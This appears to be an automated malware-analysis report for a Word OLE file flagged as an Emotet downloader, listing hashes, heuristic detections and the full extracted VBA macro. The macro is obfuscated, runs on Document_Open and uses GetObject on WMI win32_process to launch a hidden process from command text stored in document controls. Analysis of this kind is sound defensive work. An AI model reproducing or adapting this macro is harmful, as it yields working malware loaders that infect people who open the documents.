Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 33aebff84e18015c…

MALICIOUS

Office (OLE)

248.3 KB Created: 2020-01-16 19:41:00 Authoring application: Microsoft Office Word First seen: 2021-02-09
MD5: 653c0dfa699b57b2cf69f9d06e210d30 SHA-1: 33218ebb367d593f04aac642905d5e7c16ad8dd5 SHA-256: 33aebff84e18015cb2c290ec839df0de39edaf26e4126768dd11a34bfd3a825c
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7543223-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7543223-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Lpjdparpbadz = GetObject(Blqctrkxmrlcq)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11312 bytes
SHA-256: 28c5af35284c8d00231ca3b3ecf6285bedc33485a2946e154a9617c022fa1ae8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
232 of 338 identifiers look randomly generated (e.g. 'roc9_msnnj883hn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Mkogkihsdbaz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Cbmgjvguo
End Sub

Attribute VB_Name = "Wfxxsret"
Attribute VB_Base = "0{689FBB8D-9D2F-44F5-A8F6-3E8196D7914A}{28AAC8F4-CCE3-4E61-A822-40D7067799DF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Zpbptpwy"
Function Lvqafoet()
   Do While Jqddglyic = 900
            Do While Aphlylca = 3 + 2
            Uribmlse = Chr(4)
            Iarckqsbwnyj = Sqr(9) + Bvvrtrduq
            Zubtafdrcsa = CLng(Bhtbesel)
            Arqblspn = Int(1 + 1)
            Okwrhvhvrmn = CDate(QKoWc)
            Qqlybqxydwrbc = 9 + Int(4)
            Loop
            Do While Symeqjpql = 2 + 4
            Iljtppyuzlzt = CLng(Mqlofpeldcsai)
            Azawhimojgb = Int(1 + 4)
            Lssfyhdte = 2 + Int(3)
            Mpxigaphm = Chr(6)
            Lzwgoabbhdnxa = Sqr(7) + Nbbhtwxtks
            Iirupamh = CDate(QKoWc)
            Loop
Loop
Lzwqhezwzla = ChrW(wdKeyP)
   Do While Nppgwmvm = 900
            Do While Jcjftwbi = 3 + 2
            Keelgoyqkzciz = Chr(4)
            Zstnrxpmhkd = Sqr(9) + Delalppjkeaio
            Jabcnote = CLng(Hbusxacpzmgo)
            Kggpnsfdrnchj = Int(1 + 1)
            Kkzcfenurn = CDate(QKoWc)
            Sotvvyfrgheqp = 9 + Int(4)
            Loop
            Do While Jhqprbeoc = 2 + 4
            Wswlpcjvmo = CLng(Gjdjedgjnqzd)
            Xmvoaqpj = Int(1 + 4)
            Uvrbgucplqj = 2 + Int(3)
            Szlvxygstyo = Chr(6)
            Zyohbxhqojlec = Sqr(7) + Jswsqzdopvs
            Ubwdwjuebdolz = CDate(QKoWc)
            Loop
Loop
Vukgbsnnzi = Lzwqhezwzla + Wfxxsret.Trgjknfy + Wfxxsret.Ckzxsvyp
   Do While Fillrazgzm = 900
            Do While Dgccgvxtwyrjo = 3 + 2
            Ksakshtufpg = Chr(4)
            Kvhywookwsr = Sqr(9) + Qohqbwojpo
            Mqklwmaj = CLng(Bqtnaogoz)
            Gremoojxhvhi = Int(1 + 1)
            Yeyzfrfgin = CDate(QKoWc)
            Nwadboqggygyh = 9 + Int(4)
            Loop
            Do While Mzmuixebkio = 2 + 4
            Pajqwramweu = CLng(Pczxzsgbtgvt)
            Juqumtzqgppcp = Int(1 + 4)
            Pvrbqhbb = 2 + Int(3)
            Woqwtnworr = Chr(6)
            Jhzszwkix = Sqr(7) + Xdldsrshs
            Qeiunbtnxh = CDate(QKoWc)
            Loop
Loop
Fack = Wfxxsret.Ndheetroisal.Tag
Pucjiaykdqvhk = Split(Vukgbsnnzi + LTrim(LTrim(Fack)), "9_msnnj883hn///")
   Do While Xtcdrargdamm = 900
            Do While Gfetlwiqjd = 3 + 2
            Boinogoz = Chr(4)
            Btqplidglvqc = Sqr(9) + Eeqclgkyfq
            Xplgxaan = CLng(Cvlzndrcky)
            Ijpmocjdnaqil = Int(1 + 1)
            Fxqbhfuburls = CDate(QKoWc)
            Dgzjxgbrl = 9 + Int(4)
            Loop
            Do While Dawcfcoaimeuw = 2 + 4
            Ohuudjcxktrz = CLng(Toledefxz)
            Wsytymcxest = Int(1 + 4)
            Hobdmindaup = 2 + Int(3)
            Pthnqifggred = Chr(6)
            Objnzsuxp = Sqr(7) + Lrbkvxjw
            Jpqblrlbwxzba = CDate(QKoWc)
            Loop
Loop
Lvqafoet = Cnxubhvfs + Join(Pucjiaykdqvhk, "") + Cnxubhvfs
   Do While Tfpdjnajsfx = 900
            Do While Qitmvatndj = 3 + 2
            Bxjsolej = Chr(4)
            Qvuziartbelfh = Sqr(9) + Orpzzpwod
            Rqdtsgtusxr = CLng(Svjivowqllau)
            Rguhqrtjap = Int(1 + 1)
            Fmnfjxvyge = CDate(QKoWc)
            Splzfedzdwb = 9 + Int(4)
            Loop
            Do While Qaeyjvuzjijcg = 2 + 4
            Yqcnbgob = CLng(Evlijikzhtwr)
            Ilnjgbwycaamt = Int(1 + 4)
            Rczyefziqa = 2 + Int(3)
            Cyjghqfepseue = Chr(6)
            Tliwpwnqr = Sqr(7) + Vrjcxjgctatt
            Ojwyxetgagxid = CDate(QKoWc)
            Loop
Loop
End Function
Function Cbmgjvguo()
wen = "i9_msnnj883hn///9_msnnj883hn///n9_msnnj883hn///9_msnnj883hn///mg9_msnnj883hn///9_msnnj883hn///mt9_msnnj883hn///" + ChrW(wdKeyS) + ":win32_" + Wfxxsret.Alcakuelp + "9_msnnj883hn///roc9_msnnj883hn///9_msnnj883hn///es9_msnnj883hn///9_msnnj883hn///s"
   Do While Agmvwaudllhc = 900
            Do While Qvevawmzqdjh = 3 + 2
            Djonbgqita = Chr(4)
            Mmfqsjvos = Sqr(9) + Eisfaqimocjab
            Awdibeatjzua = CLng(Ljrynkfj)
            Rkngfdmdtyj = Int(1 + 1)
            Kcrdpiggpx = CDate(QKoWc)
            Srbolnqv = 9 + Int(4)
            Loop
            Do While Qqungnqgmqm = 2 + 4
            Vwhqbuibn = CLng(Nlkpiksd)
            Majccsqjkvrt = Int(1 + 4)
            Rexpbfodp = 2 + Int(3)
            Ucaxcyicmjvyo = Chr(6)
            Rscgmuae = Sqr(7) + Ndcrgilr
            Qpliwirxw = CDate(QKoWc)
            Loop
Loop
ski = "9_msnnj883hn///"
   Do While Drpoziawlmo = 900
            Do While Onsuzckvx = 3 + 2
            Visayubfgj = Chr(4)
            Wairbefdmxfup = Sqr(9) + Ueisgodt
            Zxqkjrwtqvu = CLng(Iqsazxdykj)
            Axqojshrc = Int(1 + 1)
            Oscgibzth = CDate(QKoWc)
            Aconevnrpoxe = 9 + Int(4)
            Loop
            Do While Fehcmzjgjdhw = 2 + 4
            Xlqlchxoavom = CLng(Nsroumdxsq)
            Jttkfhdtu = Int(1 + 4)
            Mbawrdloawytq = 2 + Int(3)
            Cfrztzpyydvp = Chr(6)
            Ijrjufmtp = Sqr(7) + Gcvhlzcymfyc
            Xwdcswowhr = CDate(QKoWc)
            Loop
Loop
Poimryzixiyrf = Split("9_msnnj883hn///9_msnnj883hn///9_msnnj883hn///w" + wen, ski)
   Do While Jcwhwbhkir = 900
            Do While Pufithgofmuwk = 3 + 2
            Asxueevai = Chr(4)
            Bqmhslqugoj = Sqr(9) + Qxofxhaxf
            Rlwisttwg = CLng(Pbxtjfqlt)
            Qegqqdbbsww = Int(1 + 1)
            Hohbmumwdkh = CDate(QKoWc)
            Eyuhtapcu = 9 + Int(4)
            Loop
            Do While Cdqufkkt = 2 + 4
            Luyoyyesn = CLng(Djydglcvqnnwf)
            Errsznrysd = Int(1 + 4)
            Vbkjgycytrry = 2 + Int(3)
            Xeuyysoou = Chr(6)
            Uummkgzj = Sqr(7) + Ugdgxdbpm
            Urpmdtfeehgy = CDate(QKoWc)
            Loop
Loop
Blqctrkxmrlcq = Join(Poimryzixiyrf, "")
   Do While Pqwqowxjru = 900
            Do While Dltvnvyr = 3 + 2
            Ntprisypibknh = Chr(4)
            Lbtyoqhvqdsmr = Sqr(9) + Mcgrcdawoel
            Aspdazbtfs = CLng(Gxznqfgqt)
            Gpqslfftd = Int(1 + 1)
            Vxoomsxvhjrkv = CDate(QKoWc)
            Jxyelslk = 9 + Int(4)
            Loop
            Do While Jgqozzmtkcb = 2 + 4
            Tnsxiypf = CLng(Jwhuyddjnfz)
            Hhhkerkdzj = Int(1 + 4)
            Rsudltjos = 2 + Int(3)
            Reopgsoucqbl = Chr(6)
            Nknkkkml = Sqr(7) + Kjgblqota
            Gqbdklptpqh = CDate(QKoWc)
            Loop
Loop
Set Lpjdparpbadz = GetObject(Blqctrkxmrlcq)
   Do While Zbzrlmhgekn = 900
            Do While Mchawbtvpp = 3 + 2
            Qwnrhszfuyhxr = Chr(4)
            Ivmxvuge = Sqr(9) + Tdoqtkljsupuo
            Ngqnvjjuykac = CLng(Ekrutookobov)
            Hnogpfhnpqxpj = Int(1 + 1)
            Gshtonkyzvh = CDate(QKoWc)
            Sozzuknl = 9 + Int(4)
            Loop
            Do While Nnmruaweffui = 2 + 4
            Czlwoolhb = CLng(Aryuzvekyufc)
            Xdqcyhkfswv = Int(1 + 4)
            Whifmhvtjyj = 2 + Int(3)
            Qxkmwxpgql = Chr(6)
            Dxlvybzaf = Sqr(7) + Qotuawoe
            Ormvfzxjjfvna = CDate(QKoWc)
            Loop
Loop
Ycvyycxpf = Wfxxsret.Exvgwmhkbo.Tag
Safvsbudbkzk = Blqctrkxmrlcq + ChrW(wdKeyS) + Wfxxsret.Hutwdfpnznva.Tag + Ycvyycxpf
   Do While Wxxsdvqgd = 900
            Do While Mndcaekxfc = 3 + 2
            Fpicpffafq = Chr(4)
            Kjvmoamvnlnc = Sqr(9) + Ycnozdal
            Vsbayzhv = CLng(Rqjyieqayu)
            Qnhcmrrys = Int(1 + 1)
            Srwzlxoerrbk = CDate(QKoWc)
            Pfvmzmyapcos = 9 + Int(4)
            Loop
            Do While Pemtsyqgme = 2 + 4
            Kqkopczj = CLng(Wmsntrbult)
            Onfisjci = Int(1 + 4)
            Hwchqbmmsmp = 2 + Int(3)
            Aafezfrtl = Chr(6)
            Cwigjqgpr = Sqr(7) + Vklbahza
            Jfehneddbx = CDate(QKoWc)
            Loop
Loop
Opackvkkag = Safvsbudbkzk + Wfxxsret.Alcakuelp
   Do While Xcaxnyevrtsf = 900
            Do While Oigyahuwqyob = 3 + 2
            Agorntjfq = Chr(4)
            Ypsnjuld = Sqr(9) + Dvkugaalbi
            Zvkfarzljrb = CLng(Scjhedyv)
            Kdxgtitpwojqw = Int(1 + 1)
            Ttdczmtl = CDate(QKoWc)
            Xrexfntdzab = 9 + Int(4)
            Loop
            Do While Gdpcfksbfg = 2 + 4
            Jvtwkqsdsv = CLng(Rrbpmxccpiw)
            Jobbmrlamv = Int(1 + 4)
            Gojjaskm = 2 + Int(3)
            Njcphdavay = Chr(6)
            Acqcfdfofvj = Sqr(7) + Jttppmljz
            Yxkhaqutgtoh = CDate(QKoWc)
            Loop
Loop
Set Cbmgjvguo = GetObject(Opackvkkag)
   Do While Fqhkxggfxwtwb = 900
            Do While Igrhzlwbcti = 3 + 2
            Pblehajbdtz = Chr(4)
            Bqmmheycxlc = Sqr(9) + Kipfrpxt
            Kopbwpfmsjijg = CLng(Mdjksqjdfpa)
            Ckaxmubyrdcnr = Int(1 + 1)
            Rtbcapelni = CDate(QKoWc)
            Bljlwdhji = 9 + Int(4)
            Loop
            Do While Xloruahxar = 2 + 4
            Loxliyynpp = CLng(Mhsgkkpcjierm)
            Lfkwoczywy = Int(1 + 4)
            Ljvvhxoemhbnq = 2 + Int(3)
            Cckgzkonhetax = Chr(6)
            Vhsldsnnwt = Sqr(7) + Xddxglgwvmrr
            Voqoxrrcmuuey = CDate(QKoWc)
            Loop
Loop
Cbmgjvguo. _
showwindow = False
   Do While Bfofjuuws = 900
            Do While Othisreqgmsg = 3 + 2
            Ggrvaeacpore = Chr(4)
            Qhrputwttssxj = Sqr(9) + Ujzwmcnda
            Rmesqndhzz = CLng(Lywnnycd)
            Vufsiatcdr = Int(1 + 1)
            Bkoacetbph = CDate(QKoWc)
            Oyqpaeyon = 9 + Int(4)
            Loop
            Do While Jnyfdoxvdfz = 2 + 4
            Ynwxjtunuy = CLng(Jeczsiyute)
            Zqnslwbo = Int(1 + 4)
            Qmiaeumdo = 2 + Int(3)
            Vtkuwkwbbrta = Chr(6)
            Tgcbxxpienqqs = Sqr(7) + Hqqxkexc
            Mfnznwlqbln = CDate(QKoWc)
            Loop
Loop
Do While Lpjdparpbadz.Create(pok & Lvqafoet, Jfxekmiclz, Cbmgjvguo, Mepgevfgskve)
Loop
   Do While Oykcpemc = 900
            Do While Wqjefqytgcnjz = 3 + 2
            Uphjzokg = Chr(4)
            Lwmpuqbu = Sqr(9) + Qrtbfnkr
            Eyqavpfsejl = CLng(Duulelllp)
            Mdvfeletfpw = Int(1 + 1)
            Muflipysg = CDate(QKoWc)
            Hkbfgodogbn = 9 + Int(4)
            Loop
            Do While Zosesdphgpzk = 2 + 4
            Cztwfrfy = CLng(Zmrmhheycl)
            Xuadxibvcvan = Int(1 + 4)
            Meiaobviffm = 2 + Int(3)
            Ykahupicywcuw = Chr(6)
            Hdmdmsuaqcwky = Sqr(7) + Uquiclcogyr
            Hggreyabtip = CDate(QKoWc)
            Loop
Loop
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.